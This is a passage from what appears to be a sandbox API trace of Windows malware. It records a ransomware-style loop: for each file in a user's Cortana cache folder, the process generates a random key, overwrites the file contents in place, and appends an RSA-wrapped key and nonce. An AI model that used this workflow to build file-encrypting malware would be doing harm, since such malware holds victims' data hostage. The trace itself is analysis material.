lpOverlapped=0x0) returned 1 [0180.830] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.830] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.831] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.831] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.831] CloseHandle (hObject=0x1af4) returned 1 [0180.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.832] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0180.832] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77CE3801-C60A-4FC0-83AD-607CBE802B4C}", dwFileAttributes=0x80) returned 1 [0180.833] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77CE3801-C60A-4FC0-83AD-607CBE802B4C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{77ce3801-c60a-4fc0-83ad-607cbe802b4c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.833] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.833] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.835] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.835] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.835] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.835] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.836] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.836] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3458*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3458*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.836] CloseHandle (hObject=0x1af4) returned 1 [0180.837] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.837] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.837] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77C47392-01FD-4E37-8CD4-29EA6C090EC5}", dwFileAttributes=0x80) returned 1 [0180.839] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{77C47392-01FD-4E37-8CD4-29EA6C090EC5}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{77c47392-01fd-4e37-8cd4-29ea6c090ec5}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.839] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.839] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.840] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.840] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.841] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.841] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.841] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.841] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.841] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.841] CloseHandle (hObject=0x1af4) returned 1 [0180.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.842] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.843] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{754CB5B5-FC11-468D-8A43-AFE0C8CF4582}", dwFileAttributes=0x80) returned 1 [0180.843] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{754CB5B5-FC11-468D-8A43-AFE0C8CF4582}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{754cb5b5-fc11-468d-8a43-afe0c8cf4582}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.843] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.843] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.844] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.845] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.845] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.845] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.845] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.845] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c39d8*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c39d8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.845] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.845] CloseHandle (hObject=0x1af4) returned 1 [0180.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.847] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3448 | out: pbBuffer=0x5c3448) returned 1 [0180.847] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{74E006B5-03B7-499C-A87A-98C01F00642C}", dwFileAttributes=0x80) returned 1 [0180.847] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{74E006B5-03B7-499C-A87A-98C01F00642C}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{74e006b5-03b7-499c-a87a-98c01f00642c}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.848] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.848] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.849] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.849] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.849] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.849] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.849] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.850] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3448*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3448*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.850] CloseHandle (hObject=0x1af4) returned 1 [0180.852] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4218 | out: pbBuffer=0x5c4218) returned 1 [0180.852] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.853] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6EB6C718-25FE-4440-B4C1-BF3DE8ADFC98}", dwFileAttributes=0x80) returned 1 [0180.853] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6EB6C718-25FE-4440-B4C1-BF3DE8ADFC98}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{6eb6c718-25fe-4440-b4c1-bf3de8adfc98}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.853] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.853] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.854] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.855] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.855] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.855] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.855] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4218*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.855] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4218*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4218*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.855] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.855] CloseHandle (hObject=0x1af4) returned 1 [0180.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0180.857] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0180.857] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BF1EC4C-18E6-43EE-9E47-5AF1592C4017}", dwFileAttributes=0x80) returned 1 [0180.857] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BF1EC4C-18E6-43EE-9E47-5AF1592C4017}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{6bf1ec4c-18e6-43ee-9e47-5af1592c4017}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.858] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.858] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.859] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.859] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.859] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.859] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.859] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.859] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c3518*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3518*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.860] CloseHandle (hObject=0x1af4) returned 1 [0180.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0180.861] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c34c8 | out: pbBuffer=0x5c34c8) returned 1 [0180.861] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BB31C2E-FA0C-4956-A18E-B11812B9C486}", dwFileAttributes=0x80) returned 1 [0180.861] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{6BB31C2E-FA0C-4956-A18E-B11812B9C486}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{6bb31c2e-fa0c-4956-a18e-b11812b9c486}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.862] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.862] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.863] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.863] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.863] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.863] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.864] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0180.864] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0180.864] WriteFile (in: hFile=0x1af4, lpBuffer=0x5c34c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c34c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0180.864] CloseHandle (hObject=0x1af4) returned 1 [0180.865] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c39d8 | out: pbBuffer=0x5c39d8) returned 1 [0180.865] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3458 | out: pbBuffer=0x5c3458) returned 1 [0180.865] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{60B864E9-702F-47ED-951E-4744ED9F9767}", dwFileAttributes=0x80) returned 1 [0180.866] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\LocalState\\AppIconCache\\100\\{60B864E9-702F-47ED-951E-4744ED9F9767}" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\localstate\\appiconcache\\100\\{60b864e9-702f-47ed-951e-4744ed9f9767}"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1af4 [0180.866] GetFileSizeEx (in: hFile=0x1af4, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=4246) returned 1 [0180.866] ReadFile (in: hFile=0x1af4, lpBuffer=0x30dd050, nNumberOfBytesToRead=0x1096, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30dd050*, lpNumberOfBytesRead=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.867] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=-4246, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0180.867] WriteFile (in: hFile=0x1af4, lpBuffer=0x30de0f0*, nNumberOfBytesToWrite=0x1096, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x30de0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x1096, lpOverlapped=0x0) returned 1 [0180.868] SetFilePointer (in: hFile=0x1af4, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x1096 [0180.868] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0180.868] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c39d8*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c39d8*, 